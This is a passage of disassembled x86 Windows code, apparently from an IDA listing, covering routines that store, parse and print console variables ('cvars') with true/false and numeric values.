; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B0D0	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B112
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_4021B2
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B112:				; CODE XREF: sub_40B0D0+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B0D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B140	proc near		; CODE XREF: sub_401DE3j

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B162
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B162:				; CODE XREF: sub_40B140+6j
		pop	ecx
		retn
sub_40B140	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B180	proc near		; CODE XREF: sub_401A00j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B180
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401753
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401C08
sub_40B180	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43F020
		call	sub_401C03
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B240	proc near		; CODE XREF: sub_401AFAj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43F020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401C03
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40155F
sub_40B240	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B2E0	proc near		; CODE XREF: sub_4017F8j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B2E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401C03
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40B2E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B460	proc near		; CODE XREF: sub_40181Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FDC
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FDC
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F50
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FDC
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401915
sub_40B460	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B500	proc near		; CODE XREF: sub_401B72j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401870
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401870
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401870
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40181B
sub_40B500	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B5F0	proc near		; CODE XREF: sub_4019DDj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401546
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40145B
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B671
		mov	edi, [esp+10h+arg_0]


loc_40B636:				; CODE XREF: sub_40B5F0+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021D0
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B67B
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B636


loc_40B671:				; CODE XREF: sub_40B5F0+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B67B:				; CODE XREF: sub_40B5F0+60j
		call	sub_401F78
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B5F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B6C0:				; CODE XREF: ___:00401460j
		push	0FFFFFFFFh
		push	offset loc_439EF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401870
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019DD
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B750	proc near		; CODE XREF: sub_4015A0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B7A1
		mov	byte ptr [esi+19h], 1


loc_40B7A1:				; CODE XREF: sub_40B750+4Bj
		pop	esi
		retn	8
sub_40B750	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B7D0	proc near		; CODE XREF: sub_401F50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B825
		mov	byte ptr [esi+19h], 1


loc_40B825:				; CODE XREF: sub_40B7D0+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B7D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B860:				; CODE XREF: ___:00401D57j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		fld	dword ptr [esp+10h]
		fcomp	flt_43F024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B8B1
		mov	byte ptr [esi+19h], 1


loc_40B8B1:				; CODE XREF: ___:0040B8ABj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8E0:				; CODE XREF: ___:00401CA8j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B910
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015E1
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B910:				; CODE XREF: ___:0040B8E8j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015E1
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B950:				; CODE XREF: ___:00401D7Fj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4447F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B980
		mov	byte ptr [esi+19h], 1


loc_40B980:				; CODE XREF: ___:0040B97Aj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B9A0:				; CODE XREF: ___:loc_401AE1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439F30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BAE2
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_401546
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BADB


loc_40BA46:				; CODE XREF: ___:0040BAD5j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F78
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017EE
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		push	5DCh
		nop
		call	near ptr 2830000h
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40BA46


loc_40BADB:				; CODE XREF: ___:0040BA40j
		mov	al, 1
		jmp	loc_40BC6A
; ---------------------------------------------------------------------------


loc_40BAE2:				; CODE XREF: ___:0040B9D7j
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BB75
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC68
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		jmp	loc_40BC6A
; ---------------------------------------------------------------------------


loc_40BB75:				; CODE XREF: ___:0040BAF4j
		lea	ecx, [ebp+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BC68
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC68
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014D3
		mov	ebx, 2
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F50
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BC6A
; ---------------------------------------------------------------------------


loc_40BC68:				; CODE XREF: ___:0040BB30j
					; ___:0040BB87j ...
		xor	al, al


loc_40BC6A:				; CODE XREF: ___:0040BADDj
					; ___:0040BB70j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD40	proc near		; CODE XREF: sub_401C08j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021EE
sub_40BD40	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD80	proc near		; CODE XREF: sub_40155Fj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FEB
sub_40BD80	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BDF0	proc near		; CODE XREF: sub_40145Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4014B0
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_40BDF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE30	proc near		; CODE XREF: sub_401C85j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_40BE30	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BE60	proc near		; CODE XREF: sub_401915j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C85
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C5D
sub_40BE60	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEA0	proc near		; CODE XREF: sub_401C03j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BEA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEF0	proc near		; CODE XREF: sub_401546j
		push	esi
		mov	esi, ecx
		call	sub_402158
		mov	eax, esi
		pop	esi
		retn
sub_40BEF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF10	proc near		; CODE XREF: sub_401F78j
		mov	eax, [ecx]
		push	eax
		call	sub_401848
		add	esp, 4
		retn
sub_40BF10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF30	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BF30	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF60	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CFD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BF60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BF90	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016AE
		mov	edi, eax
		push	edi
		call	sub_40215D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021EE
sub_40BF90	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40215D
		push	edi
		mov	[eax], ebx
		call	sub_40215D
		mov	edi, [eax]
		push	edi
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401848
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F32
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C030	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40C08A


loc_40C048:				; CODE XREF: sub_40C030+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B9A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
